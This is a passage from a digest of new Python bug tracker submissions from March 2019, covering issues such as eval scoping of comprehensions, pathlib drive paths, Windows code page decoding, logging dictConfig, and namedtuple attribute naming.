priority: normal
severity: normal
status: open
title: Deprecate 'u' type in array module
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 15 06:44:12 2019
From: report at bugs.python.org (Martin Hosken)
Date: Fri, 15 Mar 2019 10:44:12 +0000
Subject: [New-bugs-announce] [issue36300] eval of generator expressions
 cannot access local variables
Message-ID: <1552646652.54.0.949988321046.issue36300@roundup.psfhosted.org>


New submission from Martin Hosken <martin_hosken at sil.org>:

The following code fails:

    >>> lcls = {'w': 100}
    >>> eval('[w for x in ("hello", "world")]', None, lcls)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "<string>", line 1, in <module>
      File "<string>", line 1, in <listcomp>
    NameError: name 'w' is not defined
    >>> eval('[w, w, w]', None, lcls)
    [100, 100, 100]

whereas in python2 it succeeds

    >>> lcls = {'w': 100}
    >>> eval('[w for x in ("hello", "world")]', None, lcls)
    [100, 100]

----------
messages: 337980
nosy: Martin Hosken
priority: normal
severity: normal
status: open
title: eval of generator expressions cannot access local variables

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36300>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:29:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 12:29:28 +0000
Subject: [New-bugs-announce] [issue36301] Add _Py_PreInitialize() function
Message-ID: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Follow-up of bpo-36142, add _Py_PreInitialize() function to "pre-initialize" Python:

* initialize memory allocators
* initialize LC_CTYPE locale and UTF-8 Mode

Py_Initialize() should also be modified to no longer coerce the C locale or enable the UTF-8 Mode:
https://bugs.python.org/issue36202#msg337915

See also:

* bpo-36202: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake
* bpo-36204: Deprecate calling Py_Main() after Py_Initialize()? Add Py_InitializeFromArgv()?

----------
components: Interpreter Core
messages: 337982
nosy: vstinner
priority: normal
severity: normal
status: open
title: Add _Py_PreInitialize() function
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:30:33 2019
From: report at bugs.python.org (Bernhard M. Wiedemann)
Date: Fri, 15 Mar 2019 12:30:33 +0000
Subject: [New-bugs-announce] [issue36302] distutils creates unreproducible
 .so files
Message-ID: <1552653033.32.0.635728597537.issue36302@roundup.psfhosted.org>


New submission from Bernhard M. Wiedemann <pythonbugs at lsmod.de>:

While working on reproducible builds for openSUSE, I found countless python modules that come with binary .so files that did not build reproducibly from non-deterministic filesystem readdir order.

One contributing factor is bpo-30461 that will not be fixed.
I found that a simple patch can be done in distutils
instead of fixing an infinite number of current and future python modules.

----------
components: Distutils
messages: 337983
nosy: bmwiedemann, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils creates unreproducible .so files
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36302>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:15:00 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz?=)
Date: Fri, 15 Mar 2019 13:15:00 +0000
Subject: [New-bugs-announce] [issue36303] Trying to change values (fe. "To",
 "From") of email.mime.text.MIMEText after initial assigment
 silently doesn't change them.
Message-ID: <1552655700.51.0.0235842407831.issue36303@roundup.psfhosted.org>


Change by ?ukasz <fotoblysk at fejm.pl>:


----------
components: email
nosy: Fotoblysk, barry, r.david.murray
priority: normal
severity: normal
status: open
title: Trying to change values (fe. "To", "From") of email.mime.text.MIMEText after initial assigment silently doesn't change them.
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36303>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:19:03 2019
From: report at bugs.python.org (Gianluca)
Date: Fri, 15 Mar 2019 13:19:03 +0000
Subject: [New-bugs-announce] [issue36304] When using bz2 and lzma in mode
 'wt', the BOM is not written
Message-ID: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>


New submission from Gianluca <gianluca.gippetto at gmail.com>:

When bz2 and lzma files are used in writing text mode (wrapped in a TextIOWrapper), the BOM of encodings such as utf-16 and utf-32 is not written. The gzip package works as expected (it writes the BOM).

The code that demonstrate this behavior (tested with Python 3.7) is attached here and can also be found on stackoverflow: https://stackoverflow.com/questions/55171439/python-bz2-and-lzma-in-mode-wt-dont-write-the-bom-while-gzip-does-why?noredirect=1#comment97103212_55171439

----------
components: IO
files: demonstrate_BOM_issue.py
messages: 337987
nosy: janluke
priority: normal
severity: normal
status: open
title: When using bz2 and lzma in mode 'wt', the BOM is not written
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48209/demonstrate_BOM_issue.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Fri Mar 15 11:37:05 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Fri, 15 Mar 2019 15:37:05 +0000
Subject: [New-bugs-announce] [issue36305] Inconsistent behavior of
 pathlib.WindowsPath with drive paths
Message-ID: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>


New submission from Maor Kleinberger <kmaork at gmail.com>:

The behavior of WindowsPath is undefined when used with drive paths, specifically with no trailing slash:

WindowsPath('cc:').absolute() -> WindowsPath('C:/Users/maor/cc:')
WindowsPath('c:').absolute() -> WindowsPath('c:') 
WindowsPath('c:').is_absolute() -> False
WindowsPath('c:') / 'p' -> WindowsPath('c:p')
WindowsPath('c:p').absolute() -> WindowsPath('c:p')
WindowsPath('c:p').is_absolute() -> False

----------
components: Library (Lib)
messages: 337999
nosy: kmaork
priority: normal
severity: normal
status: open
title: Inconsistent behavior of pathlib.WindowsPath with drive paths
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Fri Mar 15 12:44:25 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 15 Mar 2019 16:44:25 +0000
Subject: [New-bugs-announce] [issue36306] inspect.signature(math.log) raises
 ValueError
Message-ID: <1552668265.07.0.311567846773.issue36306@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

>>> import math, inspect
>>> inspect.signature(math.log)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/remi/src/cpython/Lib/inspect.py", line 3081, in signature
    return Signature.from_callable(obj, follow_wrapped=follow_wrapped)
  File "/Users/remi/src/cpython/Lib/inspect.py", line 2830, in from_callable
    return _signature_from_callable(obj, sigcls=cls,
  File "/Users/remi/src/cpython/Lib/inspect.py", line 2284, in _signature_from_callable
    return _signature_from_builtin(sigcls, obj,
  File "/Users/remi/src/cpython/Lib/inspect.py", line 2109, in _signature_from_builtin
    raise ValueError("no signature found for builtin {!r}".format(func))
ValueError: no signature found for builtin <built-in function log>
>>>

This is the only function from math to do so, it may be related to issue    29299 but the patch from Victor Stinner does not fix this.

----------
components: Argument Clinic
messages: 338002
nosy: larry, remi.lapeyre
priority: normal
severity: normal
status: open
title: inspect.signature(math.log) raises ValueError
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36306>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:43:52 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 19:43:52 +0000
Subject: [New-bugs-announce] [issue36307] Upgrade Travis CI config to Xenial
 from near-EoL Trusty and remove obsolete sudo: false key
Message-ID: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>


New submission from C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:

Not sure how to categorize this one, or if this should even be a bpo.

Currently, the .travis.yml config file still has a sudo: false key, which previously triggered the Container-based environment on Travis. However, that was removed in December 2018, and so the key is now obsolete. Furthermore, the builds are still running in the Trusty environment, which will be at the end of its 5-year development lifecycle in April 2019 (next month). Therefore, sudo: false should be removed, and the distribution should be upgraded to the modern dist: xenial.

If non-trivial errors result, the change will likely be well beyond my minimal expertise as a brand-new contributor, but I figured I'd nevertheless make the attempt in a PR if not, which others can take over/supersede if necessary.

----------
messages: 338022
nosy: CAM-Gerlach
priority: normal
severity: normal
status: open
title: Upgrade Travis CI config to Xenial from near-EoL Trusty and remove obsolete sudo: false key

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:25:34 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 20:25:34 +0000
Subject: [New-bugs-announce] [issue36308] Fix warning in
 _PyPathConfig_ComputeArgv0
Message-ID: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

Python/pathconfig.c: In function '_PyPathConfig_ComputeArgv0':
Python/pathconfig.c:615:26: warning: 'argv0' may be used uninitialized in this function [-Wmaybe-uninitialized]
             wchar_t *q = wcsrchr(argv0, SEP);
                          ^~~~~~~~~~~~~~~~~~~

----------
messages: 338027
nosy: matrixise, vstinner
priority: normal
severity: normal
status: open
title: Fix warning in _PyPathConfig_ComputeArgv0
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Fri Mar 15 20:49:05 2019
From: report at bugs.python.org (John Hagen)
Date: Sat, 16 Mar 2019 00:49:05 +0000
Subject: [New-bugs-announce] [issue36309] Remove tempfile.mktemp()
Message-ID: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>


New submission from John Hagen <johnthagen at gmail.com>:

tempfile.mktemp has been deprecated since Python 2.3 and has security concerns attached to it. Is it time that this is finally removed?

https://docs.python.org/3/library/tempfile.html#tempfile.mktemp

----------
components: Library (Lib)
messages: 338046
nosy: John Hagen
priority: normal
severity: normal
status: open
title: Remove tempfile.mktemp()
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Fri Mar 15 22:07:27 2019
From: report at bugs.python.org (Allie Fitter)
Date: Sat, 16 Mar 2019 02:07:27 +0000
Subject: [New-bugs-announce] [issue36310] pygettext3.7 Does Not Recognize
 gettext Calls Within fstrings
Message-ID: <1552702047.72.0.770409871236.issue36310@roundup.psfhosted.org>


New submission from Allie Fitter <fitterj at gmail.com>:

pygettext can't see gettext functions calls when they're inside of an fstring:

foo.py

    from gettext import gettext as _
    
    foo = f'{_("foo bar baz")}'

Running `pygettext3.7 -kgt -d message -D -v -o locales/message.pot foo.py` results in:

locale/message.pot
    # SOME DESCRIPTIVE TITLE.
    # Copyright (C) YEAR ORGANIZATION
    # FIRST AUTHOR <EMAIL at ADDRESS>, YEAR.
    #
    msgid ""
    msgstr ""
    "Project-Id-Version: PACKAGE VERSION\n"
    "POT-Creation-Date: 2019-03-15 21:02-0500\n"
    "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
    "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
    "Language-Team: LANGUAGE <LL at li.org>\n"
    "MIME-Version: 1.0\n"
    "Content-Type: text/plain; charset=UTF-8\n"
    "Content-Transfer-Encoding: 8bit\n"
    "Generated-By: pygettext.py 1.5\n"

Change foo.py to:

    from gettext import gettext as _
    
    foo = f'' + _("foo bar baz") + ''


Results in:

    # SOME DESCRIPTIVE TITLE.
    # Copyright (C) YEAR ORGANIZATION
    # FIRST AUTHOR <EMAIL at ADDRESS>, YEAR.
    #
    msgid ""
    msgstr ""
    "Project-Id-Version: PACKAGE VERSION\n"
    "POT-Creation-Date: 2019-03-15 21:05-0500\n"
    "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
    "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
    "Language-Team: LANGUAGE <LL at li.org>\n"
    "MIME-Version: 1.0\n"
    "Content-Type: text/plain; charset=UTF-8\n"
    "Content-Transfer-Encoding: 8bit\n"
    "Generated-By: pygettext.py 1.5\n"
    
    
    #: foo.py:3
    msgid "foo bar baz"
    msgstr ""


Running on Ubuntu 18.04.

----------
components: Demos and Tools
messages: 338049
nosy: Allie Fitter
priority: normal
severity: normal
status: open
title: pygettext3.7 Does Not Recognize gettext Calls Within fstrings
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36310>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:06:40 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 08:06:40 +0000
Subject: [New-bugs-announce] [issue36311] Flaw in Windows code page decoder
 for large input
Message-ID: <1552723600.79.0.686719955113.issue36311@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

There is a flaw in PyUnicode_DecodeCodePageStateful() (exposed as _codecs.code_page_decode() at Python level). Since MultiByteToWideChar() takes the size of the input as C int, it can not be used for decoding more than 2 GiB. Large input is split on chunks of size 2 GiB which are decoded separately. The problem is if it split in the middle of a multibyte character. In this case decoding chunks will always fail or replace incomplete parts of the multibyte character at both ends with what the error handler returns.

It is hard to reproduce this bug, because you need to decode more than 2 GiB, and you will need at least 14 GiB of RAM for this (maybe more).

----------
components: Interpreter Core, Windows
messages: 338061
nosy: doerwalter, lemburg, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Flaw in Windows code page decoder for large input
type: behavior
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36311>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:59:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 08:59:08 +0000
Subject: [New-bugs-announce] [issue36312] Invalid flag for some code page
 decoders
Message-ID: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

>From https://docs.microsoft.com/en-us/windows/desktop/api/stringapiset/nf-stringapiset-multibytetowidechar:

For the code pages listed below, dwFlags must be set to 0. Otherwise, the function fails with ERROR_INVALID_FLAGS.

    50220
    50221
    50222
    50225
    50227
    50229
    57002 through 57011
    65000 (UTF-7)
    42 (Symbol)

But currently in PyUnicode_DecodeCodePageStateful() it is set to MB_ERR_INVALID_CHARS for all code pages except CP_UTF7. This causes an error for all other code pages list above.

>>> codecs.code_page_decode(50220, b'abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [WinError 1004] Invalid flags

----------
components: Interpreter Core, Windows
messages: 338067
nosy: doerwalter, lemburg, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Invalid flag for some code page decoders
type: behavior
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:03:54 2019
From: report at bugs.python.org (Bun Hin)
Date: Sat, 16 Mar 2019 09:03:54 +0000
Subject: [New-bugs-announce] [issue36313] error: [Errno 13] Permission
 denied: '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'
Message-ID: <1552727034.93.0.0772389993988.issue36313@roundup.psfhosted.org>


New submission from Bun Hin <cbunhin at yahoo.com>:

I get this error while installing some packages with pip3 inside an environment

using centOS 7 with python 3.7.2 as parallel install.
step to reproduce: (dependancies are installed)

rm -rf /usr/local/lib/python3.7
cd /root/
wget https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tgz
tar -xzf Python-3.7.2.tgz
cd Python-3.7.2
./configure --prefix=/usr/local --enable-shared --enable-optimizations LDFLAGS="-Wl,-rpath /usr/local/lib"
make
make altinstall

adduser a-user

su - a-user
/usr/local/lib/python3.7 -m venv user-envn
source user-envn/bin/activate

pi3 install --upgrade pip
pip install pyusb==1.0.0

result with error:

Collecting pyusb==1.0.0
  Using cached https://files.pythonhosted.org/packages/8a/19/66fb48a4905e472f5dfeda3a1bafac369fbf6d6fc5cf55b780864962652d/PyUSB-1.0.0.tar.gz
    Complete output from command python setup.py egg_info:
    running egg_info
    creating pip-egg-info/pyusb.egg-info
    writing pip-egg-info/pyusb.egg-info/PKG-INFO
    writing dependency_links to pip-egg-info/pyusb.egg-info/dependency_links.txt
    writing top-level names to pip-egg-info/pyusb.egg-info/top_level.txt
    writing manifest file 'pip-egg-info/pyusb.egg-info/SOURCES.txt'
    error: [Errno 13] Permission denied: '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'

please help how to solve this

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 338069
nosy: bunhin
priority: normal
severity: normal
status: open
title: error: [Errno 13] Permission denied: '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36313>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:46:15 2019
From: report at bugs.python.org (Prakhar)
Date: Sat, 16 Mar 2019 10:46:15 +0000
Subject: [New-bugs-announce] [issue36314] Pivot_Table Docstring Error
Message-ID: <1552733175.66.0.0513065980559.issue36314@roundup.psfhosted.org>


New submission from Prakhar <prakharb13 at gmail.com>:

In the docstring of Pivot_table,np.median function should be used instead of np.mean.

File attached for reference.

----------
files: Screenshot 2019-03-16 at 4.15.25 PM.png
messages: 338077
nosy: prakharb
priority: normal
severity: normal
status: open
title: Pivot_Table Docstring Error
type: enhancement
versions: Python 3.7
Added file: https://bugs.python.org/file48210/Screenshot 2019-03-16 at 4.15.25 PM.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36314>
_______________________________________

From report at bugs.python.org  Sat Mar 16 08:57:44 2019
From: report at bugs.python.org (Sujoy)
Date: Sat, 16 Mar 2019 12:57:44 +0000
Subject: [New-bugs-announce] [issue36315] Unable to install Python 3.7.2
Message-ID: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>


New submission from Sujoy <ecesujoy at gmail.com>:

Getting the following error while trying to install Python 3.7.2
0x80070002- The system can not find the file specified.
Log file has been attached.

----------
components: Installation
files: Python 3.7.2 (32-bit)_log.txt
messages: 338082
nosy: ecesujoy at gmail.com
priority: normal
severity: normal
status: open
title: Unable to install Python 3.7.2
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48211/Python 3.7.2 (32-bit)_log.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Sat Mar 16 09:18:34 2019
From: report at bugs.python.org (fazl)
Date: Sat, 16 Mar 2019 13:18:34 +0000
Subject: [New-bugs-announce] [issue36316] Provide SHA256 checksums for
 installers
Message-ID: <1552742314.29.0.141411546452.issue36316@roundup.psfhosted.org>


New submission from fazl <fazjobs at gmail.com>:

Python is widely used and should use more trustworthy checksums than MD5.

Even the successor to MD5 (SHA-1) was considered insecure in 2017. From https://nakedsecurity.sophos.com/2017/02/23/bang-sha-1-collides-at-38762cf7f55934b34d179ae6a4c80cadccbb7f0a/ :

"For many years [...] MD5 was widely used [...] but it is now forbidden in the cryptographic world because [...] MD5 collisions are easy to generate on purpose, so the algorithm can no longer be trusted."

----------
components: Installation
messages: 338083
nosy: fazl
priority: normal
severity: normal
status: open
title: Provide SHA256 checksums for installers
type: security
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36316>
_______________________________________

From report at bugs.python.org  Sat Mar 16 11:03:49 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Sat, 16 Mar 2019 15:03:49 +0000
Subject: [New-bugs-announce] [issue36317] Typo in documentation of
 _PyObject_FastCallDict
Message-ID: <1552748629.07.0.307872865471.issue36317@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

Return result is documented as:

> Return the result on success. Raise an exception on return NULL on error.

I'm not absolutely sure but shouldn't that be "Raise an exception and return NULL on error."?

Or should it be "Raise an exception or return NULL on error."?

----------
components: Interpreter Core
messages: 338085
nosy: remi.lapeyre, vstinner
priority: normal
severity: normal
status: open
title: Typo in documentation of _PyObject_FastCallDict
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36317>
_______________________________________

From report at bugs.python.org  Sat Mar 16 14:35:29 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Sat, 16 Mar 2019 18:35:29 +0000
Subject: [New-bugs-announce] [issue36318] Adding support for setting the
 "disabled" attribute of loggers from logging.config.dictConfig
Message-ID: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>


New submission from G?ry <gery.ogam at gmail.com>:

In the logging Python library, one can completely disable logging (for all levels) for a particular logger either by setting its `disabled` attribute to `True`, or by adding to it a `lambda record: False` filter, or by adding to it a `logging.NullHandler()` handler (to avoid the `logging.lastResort` handler) and setting its `propagate` attribute to `False` (to avoid log record propagation to its parent loggers):


import logging

# 1st solution
logging.getLogger("foo").disabled = True

# 2nd solution
logging.getLogger("foo").addFilter(lambda record: False)

# 3rd solution
logging.getLogger("foo").addHandler(logging.NullHandler())
logging.getLogger("foo").propagate = False


One can obtain the same logging configuration for the 2nd and 3rd solutions with the `logging.config.dictConfig` function:


import logging.config

# 2nd solution
logging.config.dictConfig({
    "version": 1,
    "filters": {
        "all": {
            "()": lambda: (lambda record: False)
        }
    },
    "loggers": {
        "foo": {
            "filters": ["all"]
        }
    }
})

# 3rd solution
logging.config.dictConfig({
    "version": 1,
    "handlers": {
        "null": {
            "class": "logging.NullHandler"
        }
    },
    "loggers": {
        "foo": {
            "handlers": ["null"],
            "propagate": False
        }
    }
})


However it is currently not possible for the 1st solution:


import logging.config

# 1st solution
logging.config.dictConfig({
    "version": 1,
    "loggers": {
        "foo": {
            "disabled": True
        }
    }
})

What do you think about adding this feature? I think it might be very convenient and improve consistency.

----------
components: Library (Lib)
messages: 338092
nosy: maggyero, vinay.sajip
priority: normal
severity: normal
status: open
title: Adding support for setting the "disabled" attribute of loggers from logging.config.dictConfig
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Sat Mar 16 14:43:24 2019
From: report at bugs.python.org (=?utf-8?b?0JDQvdC00YDQtdC5INCa0LDQt9Cw0L3RhtC10LI=?=)
Date: Sat, 16 Mar 2019 18:43:24 +0000
Subject: [New-bugs-announce] [issue36319] Erro 0xC0000374 on windows 10
Message-ID: <1552761804.37.0.212876301752.issue36319@roundup.psfhosted.org>


New submission from ?????? ???????? <heckad at yandex.ru>:

On windows 10 python falls after evaluate this code
```
import time
import locale

locale.setlocale(locale.LC_ALL, 'Russian_Russia.utf8')
time.localtime(1552753806.2363703)
```

What tools would you recommend for getting more information?

----------
components: Windows
files: ??????.PNG
messages: 338093
nosy: paul.moore, steve.dower, tim.golden, zach.ware, ?????? ????????
priority: normal
severity: normal
status: open
title: Erro 0xC0000374 on windows 10
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48212/??????.PNG

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36319>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:10:01 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:10:01 +0000
Subject: [New-bugs-announce] [issue36320] typing.NamedTuple to switch from
 OrderedDict to regular dict
Message-ID: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Suggestions:
* Deprecate _field_types in favor of __annotations__.
* Convert __annotations__ from OrderedDict to a regular dict.

This will make the API cleaner. The first one will also remove a difference between NamedTuple and namedtuple().  The second is consistent with the decision to convert _asdict() to a regular dictionary since OrderedDict is no longer necessary or desirable. The second will also make the signature of __annotations__ match that from other classes.

----------
assignee: levkivskyi
components: Library (Lib)
messages: 338095
nosy: levkivskyi, rhettinger
priority: normal
severity: normal
status: open
title: typing.NamedTuple to switch from OrderedDict to regular dict
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:21:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:21:03 +0000
Subject: [New-bugs-announce] [issue36321] Fix misspelled attribute name in
 namedtuple()
Message-ID: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

The attribute name, '_fields_defaults' was misspelled and should have been ''_field_defaults'.  The namedtuple documentation uses both spellings.  The typing.NamedTuple class consistently uses the latter spelling.  The intent was the both would be spelled the same way.

    >>> from typing import NamedTuple
    >>> class Employee(NamedTuple):
        name: str
        id: int = 3
    >>> Employee._field_defaults
    {'id': 3}

    >>> from collections import namedtuple
    >>> Employee = namedtuple('Employee', ['name', 'id'], defaults=[3])
    >>> Employee._fields_defaults
    {'id': 3}

Since 3.7 API is already released, it may be reasonable to provide both spellings for namedtuple().

----------
assignee: rhettinger
components: Library (Lib)
messages: 338096
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Fix misspelled attribute name in namedtuple()
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:25:09 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Sat, 16 Mar 2019 20:25:09 +0000
Subject: [New-bugs-announce] [issue36322] Argument typo in dam.ndbm.open
Message-ID: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>


New submission from Marco Rougeth <marco at rougeth.com>:

Reading the documentation for `dbm.gnu.open` I noticed that there were a typo in the `flags` argument, it was documented as `flag`, in plural form.

The same typo was present for `dbm.ndbm.open`, but in this case, `flag` makes more sense than `flags`, since the function accepts only one option as a flag.

I opened a PR [1] fixing both typos, but I?d like to discuss if makes sense to rename the argument on `dbm.ndbm.open` from `flags` to `flag`. As point out by  @remilapeyre, this change would be backwards compatible, since we cannot use the function with keyword arguments.

>>> dbm.ndbm.open(filename=?foo?, flags=?r?, mode=438)
Traceback (most recent call last):
  File ?<stdin>?, line 1, in <module>
TypeError: open() takes no keyword arguments

What do you folks think about it?

1 - https://github.com/python/cpython/pull/12095

----------
messages: 338097
nosy: rougeth
priority: normal
severity: normal
status: open
title: Argument typo in dam.ndbm.open
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Sat Mar 16 22:48:55 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 17 Mar 2019 02:48:55 +0000
Subject: [New-bugs-announce] [issue36323] IDLE: always display full grep path
Message-ID: <1552790935.7.0.135900073162.issue36323@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

The second line of the Find in Files dialog is
  In files:  [____________________________________]
When this is opened in the startup directory, Shell or an untitled editor, the entry starts as '*.py'.  When this is opened in an titled editor file, the initial entry is the full path.  A full path is much more useful and should always be given.

----------
assignee: terry.reedy
components: IDLE
messages: 338115
nosy: terry.reedy
priority: normal
severity: normal
stage: test needed
status: open
title: IDLE: always display full grep path
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36323>
_______________________________________

From report at bugs.python.org  Sun Mar 17 04:15:39 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 08:15:39 +0000
Subject: [New-bugs-announce] [issue36324] Inverse cumulative normal
 distribution function
Message-ID: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Give statistics.NormalDist()a method for computing the inverse cumulative distribution function.  Model it after the NORM.INV function in MS Excel.

https://support.office.com/en-us/article/norm-inv-function-54b30935-fee7-493c-bedb-2278a9db7e13

Use the high accuracy approximation found here:  http://csg.sph.umich.edu/abecasis/gas_power_calculator/algorithm-as-241-the-percentage-points-of-the-normal-distribution.pdf

----------
assignee: steven.daprano
components: Library (Lib)
messages: 338120
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Inverse cumulative normal distribution function
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Sun Mar 17 05:28:43 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 09:28:43 +0000
Subject: [New-bugs-announce] [issue36325] Build-out help() to support a
 class level data dictionary
Message-ID: <1552814923.85.0.563232252435.issue36325@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

class Bicycle:

   __data_dictionary__ = dict(
      category = 'Primary use: road, cross-over, or hybrid',
      model = 'Unique six digit vendor-supplied code',
      size = 'Rider size: child, small, medium, large, extra-large',
      price = 'Manufacturer suggested retail price', 
   )

>>> help(Bicycle)
class Bicycle(builtins.object)
 |  Data fields defined here:
 |
 |  category
 |      Primary use: road, cross-over, or hybrid
 |
 |  model
